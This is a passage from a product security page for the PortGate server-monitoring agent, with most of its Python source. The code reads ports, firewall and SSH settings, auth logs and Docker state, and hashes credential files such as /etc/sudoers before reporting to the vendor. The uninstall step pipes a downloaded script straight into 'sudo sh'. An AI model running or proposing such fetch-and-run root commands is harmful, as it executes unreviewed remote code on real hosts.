PortGate

Security and architecture

The agent is one Python file with no third-party packages. This page lists the paths it reads and the fields that leave the host. The source below is the file served at /downloads/agent.py.

What stays on the server

Read-only malware and webshell forensics

The malware scan reports. It does not delete, rename, or quarantine a file on its own. Quarantine stays a command you copy and run.

Why root is requested

Server and malware modes need a root shell, sudo, or doas on Alpine. Listening ports, firewall state, sshd_config, auth logs, and web files owned by another user are not readable from a normal account. Root is used to read those paths and to install the agent in /opt/portgate. The agent does not rewrite them, open an inbound port, or delete a file. --mode ai-proxy installs into the user home directory, and no root access is required at all. A domain SSL check needs no agent.

What the heartbeat includes

The installer uses sudo so it can copy the agent to /opt/portgate, schedule it, and read those system paths. The token in the install command is a Laravel Sanctum personal access token. Sanctum stores the SHA-256 hash. The plaintext is shown once when you add a server.

Verify before you run it

Download the installer, compare its SHA-256 with the list below, read it, then run it. The agent and installer are MIT-licensed (LICENSE).

curl -fsSLO https://portgate.dev/downloads/install.sh
curl -fsSL https://portgate.dev/downloads/SHA256SUMS | grep install.sh | sha256sum -c -
less install.sh
sudo sh install.sh --token '<token>' --mode server --url 'https://portgate.dev'

A checksum served from this site proves the file was not corrupted or swapped in transit. It cannot prove this site was not compromised, which is why the source is short enough to read.

Remove it

One command removes the cron entries, services, /opt/portgate and the log files. Quarantined files are moved aside, not deleted.

curl -fsSL https://portgate.dev/downloads/uninstall.sh | sudo sh

agent.py

Download agent.py

#!/usr/bin/env python3
# SPDX-License-Identifier: MIT
"""PortGate agent.

Zero third-party dependencies. Reads /opt/portgate/config.json by default.

    python3 /opt/portgate/agent.py --mode server
    python3 /opt/portgate/agent.py --mode ai-proxy
    python3 /opt/portgate/agent.py --mode malware
    python3 /opt/portgate/agent.py --mode all

Server mode collects one host snapshot and POSTs it to
{api_url}/api/v1/heartbeat with Authorization: Bearer {api_token}.
AI-proxy mode is a threaded guardrail on http://127.0.0.1:8787 for
OpenAI /v1/chat/completions and Anthropic /v1/messages. It blocks injection
patterns, redacts secrets, enforces local quotas, and posts aggregate
telemetry to {api_url}/api/v1/ai-telemetry. Raw prompts are never sent.
Malware mode scans web roots incrementally and inspects /proc. It POSTs
rule IDs, hashes, owners, and short snippets to
{api_url}/api/v1/malware-scan. Full file contents are never sent.
"""

import argparse
import glob
import hashlib
import json
import math
import os
import re
import socket
import sqlite3
import ssl
import stat
import subprocess
import threading
import time
import urllib.error
import urllib.request
from datetime import datetime, timedelta
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

CONFIG_PATH = "/opt/portgate/config.json"
HEARTBEAT_PATH = "/api/v1/heartbeat"
AI_TELEMETRY_PATH = "/api/v1/ai-telemetry"
PROXY_HOST = "127.0.0.1"
PROXY_PORT = 8787
PROXY_STATE_DB = "/opt/portgate/proxy_state.db"
MALWARE_SCAN_PATH = "/api/v1/malware-scan"
MALWARE_STATE_DB = "/opt/portgate/malware_state.db"
QUARANTINE_DIR = "/opt/portgate/quarantine"
PROMPT_LOOP_LIMIT = 10
PROMPT_LOOP_WINDOW = 60
AI_PORTS = (11434, 8000, 6333, 8888)
HASH_PATHS = (
    "/etc/passwd",
    "/etc/group",
    "/etc/ssh/sshd_config",
    "/etc/crontab",
    "/root/.ssh/authorized_keys",
    "/etc/sudoers",
    "/etc/doas.conf",
    "/etc/ld.so.preload",
)
WEB_PROCESSES = ("nginx", "caddy", "apache2", "httpd")
SSH_CONFIG = "/etc/ssh/sshd_config"
AUTH_LOGS = ("/var/log/auth.log", "/var/log/secure")
SSH_FAIL_LOGS = ("/var/log/auth.log", "/var/log/secure", "/var/log/messages")
SYSLOG_STAMP = re.compile(r"^([A-Z][a-z]{2})\s+(\d{1,2})\s+(\d{2}:\d{2}:\d{2})")
# rsyslog on Ubuntu 24.04+ and journalctl -o short-iso: 2026-12-03T10:45:12.123456+01:00
ISO_STAMP = re.compile(r"^(\d{4}-\d{2}-\d{2})[T ](\d{2}:\d{2}:\d{2})(?:[.,]\d+)?(Z|[+-]\d{2}:?\d{2})?")
FAILED_FROM = re.compile(r"\bfrom\s+([0-9A-Fa-f:.]+)")
IPTABLES_POLICY = re.compile(r"policy\s+([A-Za-z]+)")
WILDCARD_ADDRESSES = {"0.0.0.0", "::", "::0", "*", "::ffff:0.0.0.0"}
MAX_PROXY_BODY = 32 * 1024 * 1024
HOP_HEADERS = {
    "connection",
    "keep-alive",
    "proxy-authenticate",
    "proxy-authorization",
    "te",
    "trailers",
    "transfer-encoding",
    "upgrade",
    "content-length",
    "host",
}

SS_LINE = re.compile(
    r"^(?P<protocol>\S+)\s+"
    r"(?P<state>\S+)\s+"
    r"\d+\s+\d+\s+"
    r"(?P<local>\S+)\s+"
    r"(?P<peer>\S+)"
    r"(?:\s+(?P<process>.+))?$"
)
PROCESS_NAME = re.compile(r'\("([^"]+)"')
FAILED_LOGIN = re.compile(
    r"Failed password|Failed publickey|authentication failure|Invalid user",
    re.IGNORECASE,
)
ACCEPTED_LOGIN = re.compile(
    r"Accepted\s+(?:publickey|password)\s+for\s+\S+\s+from\s+([0-9A-Fa-f:.]+)",
    re.IGNORECASE,
)
UFW_STATUS = re.compile(r"Status:\s*(\S+)", re.IGNORECASE)


# --- config -----------------------------------------------------------------

def load_config(path):
    try:
        with open(path, encoding="utf-8") as handle:
            data = json.load(handle)
    except FileNotFoundError:
        raise SystemExit(f"config not found: {path}") from None
    except json.JSONDecodeError as exc:
        raise SystemExit(f"invalid config json: {exc}") from None
    if not isinstance(data, dict):
        raise SystemExit("config must be a JSON object")
    return data


def api_settings(config):
    api_url = str(config.get("api_url") or "").strip().rstrip("/")
    api_token = str(config.get("api_token") or "").strip()
    if not api_url.startswith(("http://", "https://")):
        raise SystemExit("api_url must start with http:// or https://")
    if not api_token or any(char in api_token for char in "\r\n"):
        raise SystemExit("api_token is missing or invalid")
    return api_url, api_token


def _http_url(value, name, required):
    text = str(value or "").strip().rstrip("/")
    if not text:
        if required:
            raise SystemExit(f"{name} must be an http or https URL")
        return ""
    if not text.startswith(("http://", "https://")):
        raise SystemExit(f"{name} must be an http or https URL")
    return text


def _nonnegative_int(value, name, default):
    if value is None or value == "":
        return default
    try:
        number = int(value)
    except (TypeError, ValueError):
        raise SystemExit(f"{name} must be an integer") from None
    if number < 0:
        raise SystemExit(f"{name} must be zero or greater")
    return number


def ai_proxy_settings(config):
    raw = config.get("ai_proxy")
    if not isinstance(raw, dict):
        raise SystemExit("ai-proxy mode requires an ai_proxy object in config.json")

    interval = _nonnegative_int(
        raw.get("telemetry_interval_seconds"),
        "ai_proxy.telemetry_interval_seconds",
        60,
    )
    if interval != 0 and interval < 5:
        raise SystemExit("ai_proxy.telemetry_interval_seconds must be 0 or at least 5")
    timeout = _nonnegative_int(raw.get("timeout_seconds"), "ai_proxy.timeout_seconds", 30)
    if timeout < 1:
        raise SystemExit("ai_proxy.timeout_seconds must be at least 1")

    return {
        "upstream": _http_url(raw.get("upstream"), "ai_proxy.upstream", True),
        "fallback_upstream": _http_url(
            raw.get("fallback_upstream"),
            "ai_proxy.fallback_upstream",
            False,
        ),
        "fallback_model": str(raw.get("fallback_model") or "").strip(),
        "daily_request_cap": _nonnegative_int(
            raw.get("daily_request_cap"),
            "ai_proxy.daily_request_cap",
            1000,
        ),
        "daily_token_cap": _nonnegative_int(
            raw.get("daily_token_cap"),
            "ai_proxy.daily_token_cap",
            100000,
        ),
        # The same prompt this many times in 60 seconds is treated as a runaway loop. 0 turns it off.
        "max_identical_prompts_per_min": _nonnegative_int(
            raw.get("max_identical_prompts_per_min"),
            "ai_proxy.max_identical_prompts_per_min",
            PROMPT_LOOP_LIMIT,
        ),
        "telemetry_interval_seconds": interval,
        "timeout_seconds": timeout,
        "state_db": str(raw.get("state_db") or PROXY_STATE_DB),
        "insecure_upstream": bool(raw.get("insecure_upstream") or False),
    }


# --- commands ---------------------------------------------------------------

def run_cmd(args, timeout=20):
    try:
        completed = subprocess.run(
            args,
            capture_output=True,
            text=True,
            encoding="utf-8",
            errors="replace",
            timeout=timeout,
            check=False,
        )
    except FileNotFoundError:
        return 127, "", "command not found"
    except subprocess.TimeoutExpired as exc:
        stdout = exc.stdout or ""
        if isinstance(stdout, bytes):
            stdout = stdout.decode("utf-8", "replace")
        return 124, stdout, "timeout"
    return completed.returncode, completed.stdout or "", completed.stderr or ""


def command_missing(code, stderr):
    text = (stderr or "").lower()
    return code == 127 or "not found" in text or "no such file" in text


# --- server collectors ------------------------------------------------------

def read_os_version():
    pretty = None
    try:
        with open("/etc/os-release", encoding="utf-8", errors="replace") as handle:
            for line in handle:
                line = line.strip()
                if not line or line.startswith("#") or "=" not in line:
                    continue
                key, value = line.split("=", 1)
                if key == "PRETTY_NAME":
                    pretty = value.strip().strip('"').strip("'")
                    break
    except OSError:
        pretty = None
    if pretty:
        return pretty
    code, stdout, _stderr = run_cmd(["uname", "-sr"])
    if code == 0 and stdout.strip():
        return stdout.strip()
    return None


def _usable_ip(token):
    text = (token or "").strip()
    if not text or text == "127.0.0.1" or text.startswith("::") or text.lower().startswith("fe80:"):
        return False
    return True


def primary_ip():
    code, stdout, _stderr = run_cmd(["hostname", "-I"])
    if code == 0:
        for token in stdout.split():
            if _usable_ip(token):
                return token
    try:
        probe = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            probe.connect(("1.1.1.1", 80))
            address = probe.getsockname()[0]
        finally:
            probe.close()
    except OSError:
        address = ""
    if _usable_ip(address):
        return address
    return None


def is_wildcard(address):
    normalized = (address or "").strip().strip("[]").lower()
    return normalized in WILDCARD_ADDRESSES


def split_endpoint(local):
    if local.startswith("["):
        end = local.find("]")
        if end == -1:
            return local, None
        address = local[1:end]
        port_text = local[end + 1 :].lstrip(":")
    else:
        address, separator, port_text = local.rpartition(":")
        if not separator:
            return local, None
    if not port_text.isdigit():
        return address, None
    return address, int(port_text)


def process_name(raw):
    if not raw:
        return None
    match = PROCESS_NAME.search(raw)
    if match:
        return match.group(1)
    return raw.strip() or None


def parse_listening_ports(text):
    ports = []
    for line in text.splitlines():
        match = SS_LINE.match(line.strip())
        if not match:
            continue
        address, port = split_endpoint(match.group("local"))
        ports.append(
            {
                "protocol": match.group("protocol"),
                "state": match.group("state"),
                "address": address,
                "port": port,
                "process": process_name(match.group("process")),
                "public": is_wildcard(address),
            }
        )
    return ports


NETSTAT_LINE = re.compile(
    r"^(?P<protocol>tcp6|udp6|tcp|udp)\s+"
    r"\d+\s+\d+\s+"
    r"(?P<local>\S+)\s+"
    r"\S+\s+"
    r"(?:(?P<state>LISTEN|UNCONN)\s+)?"
    r"(?P<process>\S+)?$",
    re.IGNORECASE,
)


def parse_netstat_ports(text):
    """BusyBox netstat -lntup. Alpine has this and does not ship ss."""
    ports = []
    for line in text.splitlines():
        match = NETSTAT_LINE.match(line.strip())
        if not match:
            continue
        protocol = match.group("protocol").lower()
        if protocol.endswith("6"):
            protocol = protocol[:-1]
        address, port = split_endpoint(match.group("local"))
        process = match.group("process") or ""
        if "/" in process:
            process = process.split("/", 1)[1]
        if process in {"", "-"}:
            process = None
        ports.append(
            {
                "protocol": protocol,
                "state": (match.group("state") or "").upper(),
                "address": address,
                "port": port,
                "process": process,
                "public": is_wildcard(address),
            }
        )
    return ports


def collect_listening_ports():
    code, stdout, stderr = run_cmd(["ss", "-tulpnH"])
    if not command_missing(code, stderr):
        if code != 0 and not stdout.strip():
            return [], (stderr or "ss failed").strip()[:500]
        return parse_listening_ports(stdout), None
    code, stdout, stderr = run_cmd(["netstat", "-lntup"])
    if command_missing(code, stderr):
        return [], "ss and netstat not found"
    if code != 0 and not stdout.strip():
        return [], (stderr or "netstat failed").strip()[:500]
    return parse_netstat_ports(stdout), None


def iptables_is_active(text, policy):
    if policy in {"DROP", "REJECT"}:
        return True
    for line in (text or "").splitlines():
        if line.startswith("Chain "):
            continue
        if re.search(r"\b(DROP|REJECT)\b", line, re.I):
            return True
    return False


def collect_iptables():
    code, stdout, stderr = run_cmd(["iptables", "-L", "INPUT", "-n"])
    if command_missing(code, stderr):
        return {"available": False, "active": None, "status": "not_installed", "policy": None}
    match = IPTABLES_POLICY.search(stdout or "")
    policy = match.group(1).upper() if match else None
    if policy is None:
        return {"available": True, "active": None, "status": "unknown", "policy": None}
    active = iptables_is_active(stdout or "", policy)
    return {
        "available": True,
        "active": active,
        "status": "active" if active else "inactive",
        "policy": policy,
    }


def collect_nft():
    code, stdout, stderr = run_cmd(["nft", "list", "ruleset"])
    if command_missing(code, stderr):
        return {"available": False, "active": None, "status": "not_installed"}
    text = stdout or ""
    if not text.strip():
        return {"available": True, "active": False, "status": "inactive"}
    lowered = text.lower()
    active = "policy drop" in lowered or "policy reject" in lowered or bool(re.search(r"\b(drop|reject)\b", lowered))
    return {"available": True, "active": active, "status": "active" if active else "inactive"}


def summarize_firewall(firewall):
    """ufw first. Alpine has no ufw, so iptables policy/drop rules and nft follow."""
    ufw = firewall.get("ufw") or {}
    if ufw.get("available") and ufw.get("active") is True:
        return {"active": True, "source": "ufw", "status": "Active (ufw)"}
    if ufw.get("available") and ufw.get("active") is False:
        return {"active": False, "source": "ufw", "status": "Inactive"}
    firewalld = firewall.get("firewalld") or {}
    if firewalld.get("available") and firewalld.get("active") is True:
        return {"active": True, "source": "firewalld", "status": "Active (firewalld)"}
    iptables = firewall.get("iptables") or {}
    if iptables.get("available") and iptables.get("active") is True:
        return {"active": True, "source": "iptables", "status": "Active (iptables)"}
    nft = firewall.get("nft") or {}
    if nft.get("available") and nft.get("active") is True:
        return {"active": True, "source": "nft", "status": "Active (nft)"}
    return {"active": False, "source": None, "status": "Inactive"}


def collect_firewall():
    return {
        "ufw": collect_ufw(),
        "firewalld": collect_firewalld(),
        "iptables": collect_iptables(),
        "nft": collect_nft(),
    }


def collect_ufw():
    code, stdout, stderr = run_cmd(["ufw", "status"])
    if command_missing(code, stderr):
        return {"available": False, "active": None, "status": "not_installed"}
    detail = (stdout or stderr).strip()[:2000]
    match = UFW_STATUS.search(stdout or "")
    if not match:
        return {"available": True, "active": None, "status": "unknown", "detail": detail}
    state = match.group(1).lower()
    return {
        "available": True,
        "active": state == "active",
        "status": state,
        "detail": detail,
    }


def collect_firewalld():
    code, stdout, stderr = run_cmd(["firewall-cmd", "--state"])
    combined = f"{stdout}\n{stderr}".lower()
    if command_missing(code, stderr):
        return {"available": False, "active": None, "status": "not_installed"}
    if "running" in combined and "not running" not in combined:
        active = True
        status = "running"
    elif "not running" in combined:
        active = False
        status = "not_running"
    else:
        active = None
        status = "unknown"
    return {
        "available": True,
        "active": active,
        "status": status,
        "detail": (stdout or stderr).strip()[:2000],
    }


def parse_sshd_config(text):
    """sshd uses the first global value for each keyword."""
    found = {}
    for line in text.splitlines():
        stripped = line.strip()
        if not stripped or stripped.startswith("#"):
            continue
        if stripped.lower().startswith("match ") or stripped.lower().startswith("match\t"):
            break
        parts = stripped.split(None, 1)
        if len(parts) != 2:
            continue
        key = parts[0].lower()
        if key in found:
            continue
        found[key] = parts[1].strip().strip('"').strip("'")
    return {
        "permit_root_login": found.get("permitrootlogin"),
        "password_authentication": found.get("passwordauthentication"),
    }


def read_tail(path, max_bytes=1024 * 1024):
    with open(path, "rb") as handle:
        handle.seek(0, os.SEEK_END)
        size = handle.tell()
        start = max(0, size - max_bytes)
        handle.seek(start)
        data = handle.read()
    text = data.decode("utf-8", "replace")
    if start > 0:
        newline = text.find("\n")
        if newline != -1:
            text = text[newline + 1 :]
    return text


def collect_failed_logins():
    source = None
    for path in AUTH_LOGS:
        if os.path.isfile(path):
            source = path
            break
    if source is None:
        return {"source": None, "count": 0, "recent": []}
    try:
        text = read_tail(source)
    except OSError as exc:
        return {"source": source, "count": 0, "recent": [], "error": str(exc)}
    matched = [line.strip()[:300] for line in text.splitlines() if FAILED_LOGIN.search(line)]
    return {
        "source": source,
        "count": len(matched),
        "recent": matched[-20:],
        "window": "last_1mib",
    }


def iter_sshd_lines(path, depth=0):
    try:
        with open(path, encoding="utf-8", errors="replace") as handle:
            lines = handle.read().splitlines()
    except OSError:
        return
    directory = os.path.dirname(path) or "/etc/ssh"
    for line in lines:
        stripped = line.strip()
        if not stripped or stripped.startswith("#"):
            continue
        if stripped.lower().startswith("include ") and depth < 3:
            pattern = stripped.split(None, 1)[1].strip().strip('"').strip("'")
            if not os.path.isabs(pattern):
                pattern = os.path.join(directory, pattern)
            for child in sorted(glob.glob(pattern)):
                yield from iter_sshd_lines(child, depth + 1)
            continue
        yield stripped


def effective_ssh(path):
    """OpenSSH defaults: PermitRootLogin is not yes, PasswordAuthentication is yes."""
    present = os.path.isfile(path)
    found = {}
    if present:
        for stripped in iter_sshd_lines(path):
            lowered = stripped.lower()
            if lowered.startswith("match ") or lowered.startswith("match\t"):
                break
            parts = stripped.split(None, 1)
            if len(parts) != 2:
                continue
            key = parts[0].lower()
            if key in found:
                continue
            found[key] = parts[1].strip().strip('"').strip("'")
    if not present:
        root = None
        password = None
        port = None
    else:
        root = (found.get("permitrootlogin") or "prohibit-password").lower()
        password = "no" if (found.get("passwordauthentication") or "yes").lower() == "no" else "yes"
        try:
            port = int(found.get("port") or "22")
        except ValueError:
            port = 22
    return {
        "permit_root_login": root,
        "password_authentication": password,
        "port": port,
        "authorized_keys_count": count_authorized_keys(),
        "config_present": present,
    }


def count_authorized_keys():
    path = "/root/.ssh/authorized_keys"
    try:
        with open(path, encoding="utf-8", errors="replace") as handle:
            lines = handle.read().splitlines()
    except OSError:
        return 0
    return sum(1 for line in lines if line.strip() and not line.strip().startswith("#"))


def parse_syslog_time(line, now):
    """Local naive time of a log line, for both classic syslog and ISO 8601 stamps."""
    iso = ISO_STAMP.match(line)
    if iso:
        offset = iso.group(3)
        text = f"{iso.group(1)}T{iso.group(2)}"
        try:
            if offset:
                if offset == "Z":
                    offset = "+00:00"
                elif ":" not in offset:
                    offset = offset[:3] + ":" + offset[3:]
                return datetime.fromisoformat(text + offset).astimezone().replace(tzinfo=None)
            return datetime.fromisoformat(text)
        except ValueError:
            return None
    match = SYSLOG_STAMP.match(line)
    if not match:
        return None
    try:
        stamp = datetime.strptime(
            f"{match.group(1)} {int(match.group(2))} {match.group(3)} {now.year}",
            "%b %d %H:%M:%S %Y",
        )
    except ValueError:
        return None
    if stamp > now + timedelta(minutes=5):
        stamp = stamp.replace(year=now.year - 1)
    return stamp


def ssh_log_text():
    """Last day of SSH log lines: the log file if there is one, otherwise the systemd journal.

    Returns (source, text, error)."""
    for path in SSH_FAIL_LOGS:
        if os.path.isfile(path):
            try:
                return path, read_tail(path, 8 * 1024 * 1024), None
            except OSError as exc:
                return path, "", str(exc)
    code, out, err = run_cmd(
        ["journalctl", "-t", "sshd", "-t", "sshd-session", "--since", "24 hours ago",
         "-o", "short-iso", "--no-pager", "-q"],
        timeout=30,
    )
    if code == 0:
        return "journald", out, None
    return None, "", (err.strip() or None) if code != 127 else None


def collect_ssh_failed_24h():
    source, text, error = ssh_log_text()
    empty = {"count": 0, "top_ip": None, "top_ip_count": 0, "source": source, "window_hours": 24}
    if error:
        empty["error"] = error
    if source is None or error:
        return empty
    now = datetime.now()
    cutoff = now - timedelta(hours=24)
    counts = {}
    total = 0
    for line in text.splitlines():
        if not FAILED_LOGIN.search(line):
            continue
        stamp = parse_syslog_time(line, now)
        if stamp is None or stamp < cutoff:
            continue
        total += 1
        ip_match = FAILED_FROM.search(line)
        if not ip_match:
            continue
        ip = ip_match.group(1)
        counts[ip] = counts.get(ip, 0) + 1
    top_ip = None
    top_count = 0
    for ip, count in counts.items():
        if count > top_count:
            top_ip = ip
            top_count = count
    return {
        "count": total,
        "top_ip": top_ip,
        "top_ip_count": top_count,
        "source": source,
        "window_hours": 24,
    }


def collect_accepted_ips():
    source, text, error = ssh_log_text()
    if source is None or error:
        return []
    now = datetime.now()
    cutoff = now - timedelta(hours=24)
    found = []
    seen = set()
    for line in reversed(text.splitlines()):
        match = ACCEPTED_LOGIN.search(line)
        if not match:
            continue
        stamp = parse_syslog_time(line, now)
        if stamp is None or stamp < cutoff:
            continue
        ip = match.group(1)
        if ip in seen:
            continue
        seen.add(ip)
        found.append(ip)
        if len(found) >= 20:
            break
    found.reverse()
    return found


def directory_fingerprint(path):
    if not os.path.isdir(path):
        return None
    try:
        names = sorted(os.listdir(path))
    except OSError:
        return None
    rows = []
    for name in names:
        if name.startswith("."):
            continue
        full = os.path.join(path, name)
        try:
            info = os.stat(full)
        except OSError:
            continue
        rows.append(f"{name}:{int(info.st_mtime)}:{info.st_size}")
    if not rows:
        return None
    return hashlib.sha256("\n".join(rows).encode("utf-8")).hexdigest()


def collect_system_vitals():
    cpu = None
    try:
        with open("/proc/loadavg", encoding="utf-8", errors="replace") as handle:
            load = float(handle.read().split()[0])
        cpu = round(load / (os.cpu_count() or 1) * 100, 1)
    except (OSError, ValueError, IndexError):
        cpu = None
    ram_used = None
    ram_total = None
    try:
        info = {}
        with open("/proc/meminfo", encoding="utf-8", errors="replace") as handle:
            for line in handle:
                key, _, rest = line.partition(":")
                parts = rest.strip().split()
                if parts and parts[0].isdigit():
                    info[key] = int(parts[0])
        total = info.get("MemTotal")
        available = info.get("MemAvailable")
        if total:
            ram_total = int(round(total / 1024))
            if available is not None:
                ram_used = int(round((total - available) / 1024))
    except OSError:
        pass
    uptime = None
    try:
        with open("/proc/uptime", encoding="utf-8", errors="replace") as handle:
            uptime = int(float(handle.read().split()[0]))
    except (OSError, ValueError, IndexError):
        uptime = None
    return {
        "cpu_load_percent": cpu,
        "ram_used_mb": ram_used,
        "ram_total_mb": ram_total,
        "disk_used_percent": disk_usage_percent(),
        "uptime_seconds": uptime,
    }


def collect_ssh():
    posture = effective_ssh(SSH_CONFIG)
    result = {
        "config_present": posture["config_present"],
        "permit_root_login": posture["permit_root_login"],
        "password_authentication": posture["password_authentication"],
        "failed_logins": collect_failed_logins(),
    }
    return result


def parse_docker_ps(text):
    stripped = text.strip()
    if not stripped:
        return []
    if stripped.startswith("["):
        data = json.loads(stripped)
        if isinstance(data, list):
            return [row for row in data if isinstance(row, dict)]
        return []
    rows = []
    for line in stripped.splitlines():
        line = line.strip()
        if not line:
            continue
        row = json.loads(line)
        if isinstance(row, dict):
            rows.append(row)
    return rows


def docker_sock_mounted(row, inspected):
    if "docker.sock" in str(row.get("Mounts") or ""):
        return True
    if not inspected:
        return False
    for mount in inspected.get("Mounts") or []:
        if not isinstance(mount, dict):
            continue
        source = str(mount.get("Source") or "")
        destination = str(mount.get("Destination") or "")
        if "docker.sock" in source or "docker.sock" in destination:
            return True
    binds = ((inspected.get("HostConfig") or {}).get("Binds")) or []
    return any("docker.sock" in str(bind) for bind in binds)


def docker_public_bind(row, inspected):
    ports = str(row.get("Ports") or "")
    if re.search(r"(?:^|[\s,])(?:\*|0\.0\.0\.0|\[::\]|:::)\:", ports):
        return True
    published = ((inspected or {}).get("NetworkSettings") or {}).get("Ports") or {}
    if not isinstance(published, dict):
        return False
    for bindings in published.values():
        if not bindings:
            continue
        for binding in bindings:
            if not isinstance(binding, dict):
                continue
            host_ip = str(binding.get("HostIp") or "")
            if is_wildcard(host_ip) or host_ip == "":
                return True
    return False


def match_inspect(container_id, inspected):
    for item in inspected:
        full = str(item.get("Id") or "")
        if full.startswith(container_id) or container_id.startswith(full[:12]):
            return item
    return None


def docker_ps_rows():
    last_error = "docker ps failed"
    for args in (
        ["docker", "ps", "--format", "json"],
        ["docker", "ps", "--format", "{{json .}}"],
    ):
        code, stdout, stderr = run_cmd(args, timeout=30)
        if command_missing(code, stderr) and not stdout.strip():
            return False, "docker not found", []
        if code != 0 and not stdout.strip():
            last_error = (stderr or last_error).strip()[:500]
            continue
        try:
            return True, None, parse_docker_ps(stdout)
        except json.JSONDecodeError:
            last_error = "docker ps did not return json"
    return True, last_error, []


def inspect_containers(ids):
    inspected = []
    for offset in range(0, len(ids), 50):
        batch = ids[offset : offset + 50]
        code, stdout, _stderr = run_cmd(["docker", "inspect", *batch], timeout=30)
        if code != 0 or not stdout.strip():
            continue
        try:
            payload = json.loads(stdout)
        except json.JSONDecodeError:
            continue
        if isinstance(payload, list):
            inspected.extend(item for item in payload if isinstance(item, dict))
    return inspected


def collect_docker():
    available, error, rows = docker_ps_rows()
    if error or not available:
        return {"available": available, "error": error, "containers": []}

    ids = [str(row.get("ID") or row.get("Id") or "") for row in rows]
    ids = [container_id for container_id in ids if container_id]
    inspected = inspect_containers(ids) if ids else []

    containers = []
    for row in rows:
        container_id = str(row.get("ID") or row.get("Id") or "")
        details = match_inspect(container_id, inspected) if container_id else None
        privileged = None
        if details is not None:
            privileged = bool((details.get("HostConfig") or {}).get("Privileged"))
        name = str(row.get("Names") or row.get("Name") or "").lstrip("/")
        containers.append(
            {
                "id": container_id,
                "name": name,
                "image": row.get("Image"),
                "ports": row.get("Ports") or "",
                "public_bind": docker_public_bind(row, details),
                "privileged": privileged,
                "docker_sock_mounted": docker_sock_mounted(row, details),
            }
        )
    return {"available": True, "error": None, "containers": containers}


def disk_usage_percent():
    statvfs = getattr(os, "statvfs", None)
    if statvfs is None:
        return None
    try:
        stats = statvfs("/")
    except OSError:
        return None
    if not stats.f_blocks:
        return None
    used = stats.f_blocks - stats.f_bavail
    return round(used * 100 / stats.f_blocks, 1)


def hash_file(path):
    try:
        mtime = int(os.stat(path).st_mtime)
        digest = hashlib.sha256()
        with open(path, "rb") as handle:
            while True:
                chunk = handle.read(65536)
                if not chunk:
                    break
                digest.update(chunk)
    except OSError as exc:
        return None, None, str(exc)
    return digest.hexdigest(), mtime, None


def collect_file_hashes():
    hashes = {}
    mtimes = {}
    errors = {}
    for path in HASH_PATHS:
        digest, mtime, error = hash_file(path)
        hashes[path] = digest
        if mtime is not None:
            mtimes[path] = mtime
        if error:
            errors[path] = error
    for path in ("/etc/cron.d", "/etc/systemd/system"):
        digest = directory_fingerprint(path)
        if digest:
            hashes[path] = digest
    return hashes, mtimes, errors


def exposed_ai_ports(ports):
    return [entry for entry in ports if entry.get("port") in AI_PORTS]


def build_issues(snapshot):
    issues = []
    for entry in snapshot["listening_ports"]:
        if entry.get("port") in AI_PORTS or entry.get("port") == 22:
            continue
        process = str(entry.get("process") or "").lower()
        if entry.get("port") in (80, 443) and any(name in process for name in WEB_PROCESSES):
            continue
        if entry.get("public") and entry.get("port") is not None:
            issues.append(
                {
                    "module": "server",
                    "severity": "warning",
                    "check_type": "public_bind",
                    "title": f"Port {entry['port']}/{entry['protocol']} is bound to {entry['address']}",
                    "details": entry,
                }
            )
    ssh = snapshot["ssh"]
    if str(ssh.get("permit_root_login") or "").lower() == "yes":
        issues.append(
            {
                "module": "server",
                "severity": "critical",
                "check_type": "ssh_permit_root_login",
                "title": "SSH permits root login",
                "details": {"permit_root_login": ssh.get("permit_root_login")},
            }
        )
    if str(ssh.get("password_authentication") or "").lower() == "yes":
        issues.append(
            {
                "module": "server",
                "severity": "warning",
                "check_type": "ssh_password_authentication",
                "title": "SSH password authentication is enabled",
                "details": {"password_authentication": ssh.get("password_authentication")},
            }
        )
    failed = ssh.get("failed_logins") or {}
    if failed.get("count"):
        issues.append(
            {
                "module": "server",
                "severity": "warning",
                "check_type": "ssh_failed_login",
                "title": f"{failed['count']} failed SSH login(s) in the scanned log window",
                "details": {
                    "source": failed.get("source"),
                    "count": failed.get("count"),
                },
            }
        )
    for container in snapshot["docker"].get("containers") or []:
        label = container.get("name") or container.get("id") or "container"
        if container.get("public_bind"):
            issues.append(
                {
                    "module": "docker",
                    "severity": "warning",
                    "check_type": "docker_public_bind",
                    "title": f"Container {label} publishes a port on 0.0.0.0 or ::",
                    "details": {
                        "id": container.get("id"),
                        "name": container.get("name"),
                        "ports": container.get("ports"),
                    },
                }
            )
        if container.get("privileged"):
            issues.append(
                {
                    "module": "docker",
                    "severity": "critical",
                    "check_type": "docker_privileged",
                    "title": f"Container {label} is privileged",
                    "details": {"id": container.get("id"), "name": container.get("name")},
                }
            )
        if container.get("docker_sock_mounted"):
            issues.append(
                {
                    "module": "docker",
                    "severity": "critical",
                    "check_type": "docker_sock",
                    "title": f"Container {label} mounts docker.sock",
                    "details": {"id": container.get("id"), "name": container.get("name")},
                }
            )
    for entry in snapshot["exposed_ai_ports"]:
        if not entry.get("public"):
            continue
        issues.append(
            {
                "module": "ai_proxy",
                "severity": "critical",
                "check_type": "exposed_ai_port",
                "title": f"Local AI/vector port {entry['port']} is bound to {entry['address']}",
                "details": entry,
            }
        )
    return issues


def build_snapshot():
    ports, ports_error = collect_listening_ports()
    hashes, mtimes, hash_errors = collect_file_hashes()
    firewall = collect_firewall()
    ssh = collect_ssh()
    posture = effective_ssh(SSH_CONFIG)
    snapshot = {
        "hostname": socket.gethostname(),
        "ip_address": primary_ip(),
        "os_version": read_os_version(),
        "listening_ports": ports,
        "firewall": firewall,
        "firewall_status": summarize_firewall(firewall),
        "ssh": ssh,
        "ssh_posture": posture,
        "ssh_failed_24h": collect_ssh_failed_24h(),
        "ssh_accepted_ips": collect_accepted_ips(),
        "system_vitals": collect_system_vitals(),
        "docker": collect_docker(),
        "exposed_ai_ports": exposed_ai_ports(ports),
        "disk_usage_percent": disk_usage_percent(),
        "file_hashes": hashes,
        "file_mtimes": mtimes,
    }
    if ports_error:
        snapshot["listening_ports_error"] = ports_error
    if hash_errors:
        snapshot["file_hash_errors"] = hash_errors
    snapshot["issues"] = build_issues(snapshot)
    return snapshot


# --- heartbeat --------------------------------------------------------------

class _RejectRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, req, fp, code, msg, headers, newurl):
        raise SystemExit(f"heartbeat redirect refused: {code} {newurl}")


def post_heartbeat(config, snapshot):
    api_url, api_token = api_settings(config)
    url = api_url + HEARTBEAT_PATH
    payload = json.dumps(snapshot).encode("utf-8")
    request = urllib.request.Request(
